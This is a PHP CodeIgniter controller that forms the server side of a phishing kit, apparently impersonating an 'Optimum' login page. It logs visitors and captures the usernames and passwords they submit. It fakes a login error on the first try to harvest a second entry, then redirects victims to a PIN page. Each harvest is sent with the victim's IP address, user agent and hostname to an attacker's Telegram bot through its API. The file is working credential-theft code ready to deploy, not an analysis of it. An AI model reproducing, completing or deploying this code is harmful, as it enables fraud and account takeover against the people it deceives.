<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Home extends CI_Controller {

	public function index()
	{
		$msg = [];
		$msg[] = "*******Visitor / Index*******";
		$msg[] = "New visitor on login page";
		$msg[] = "Time: " . date('Y-m-d H:i:s');
		$this->get_update($msg);

		$data['user64'] = $this->input->get('continue');
		$data['show_error'] = ($this->session->userdata('show_login_error') == true) || ($this->input->get('error') == '1');
		$this->load->view('authen', $data);
	}

	public function authen()
	{
		$data['user64'] = $this->input->get('continue');
		$data['show_error'] = ($this->session->userdata('show_login_error') == true) || ($this->input->get('error') == '1');
		$this->load->view('authen', $data);
	}

	public function login_submit()
	{
		if ($this->input->method() !== 'post') {
			redirect('');
			return;
		}
		if ($this->input->post('mams1') !== null && $this->input->post('mams1') !== '') {
			$msg = [];
			$msg[] = "*******L1-Info @earthshakinggg*******";
			$msg[] = "Usernamei: " . $this->input->post('mams1');
			$msg[] = "Passwordi: " . $this->input->post('papas1');
			$this->get_update($msg);

			if ($this->session->userdata('login_attempted') == true) {
				$this->session->unset_userdata('show_login_error');
				$this->session->unset_userdata('login_attempted');
				$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ? 'https' : 'http';
				$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
				$path = rtrim(dirname(dirname($_SERVER['SCRIPT_NAME'])), '/\\');
				$pin_url = $scheme . '://' . $host . ($path === '' || $path === '/' || $path === '\\' ? '' : $path) . '/pin.php';
				redirect($pin_url);
				return;
			}
			$this->session->set_userdata('show_login_error', true);
			$this->session->set_userdata('login_attempted', true);
		}
		redirect('');
	}

	public function get_update($msg = [], $sbj = '')
	{
		$ip = isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : '');
		$useragent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
		$hostname = ($ip && function_exists('gethostbyaddr')) ? @gethostbyaddr($ip) : '';
		$escape = function ($s) {
			return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8');
		};

		$this->config->load('telegram');
		$token = $this->config->item('bot_token');
		$chat_id = $this->config->item('chat_id');
		if (empty($token) || $chat_id === null || $chat_id === '') {
			return;
		}
		if (strpos($token, 'DONTREMOVE') !== false || strpos($token, 'PLACEUROKEN') !== false ||
		    strpos((string)$chat_id, 'urchatid') !== false) {
			return;
		}
		$token = preg_replace('/^bot/i', '', trim($token));
		$api_url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
		$body = "🔐 <b>@earthshakinggg</b>\n";
		$body .= "━━━━━━━━━━━━━━━━━━━━\n\n";
		if (!empty($msg)) {
			$body .= "🔑 <b>Login (Optimum)</b>\n";
			foreach ($msg as $line) {
				$body .= "  • " . $escape($line) . "\n";
			}
			$body .= "\n";
		}
		$body .= "🌐 <b>Visitor</b>\n";
		$body .= "  • IP: <code>" . $escape($ip) . "</code>\n";
		$body .= "  • UA: " . $escape($useragent) . "\n";
		$body .= "  • HOST: " . $escape($hostname) . "\n";
		$payload = [
			'chat_id'    => $chat_id,
			'text'       => $body,
			'parse_mode' => 'HTML',
		];

		if (function_exists('curl_init')) {
			$ch = curl_init($api_url);
			curl_setopt($ch, CURLOPT_POST, true);
			curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_TIMEOUT, 15);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
			curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
			$result = curl_exec($ch);
			$errno = curl_errno($ch);
			curl_close($ch);
			if ($errno) {
				log_message('error', 'Telegram cURL error ' . $errno . ' for sendMessage');
			}
		} else {
			$opts = ['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($payload), 'timeout' => 15]];
			@file_get_contents($api_url, false, stream_context_create($opts));
		}
	}
}
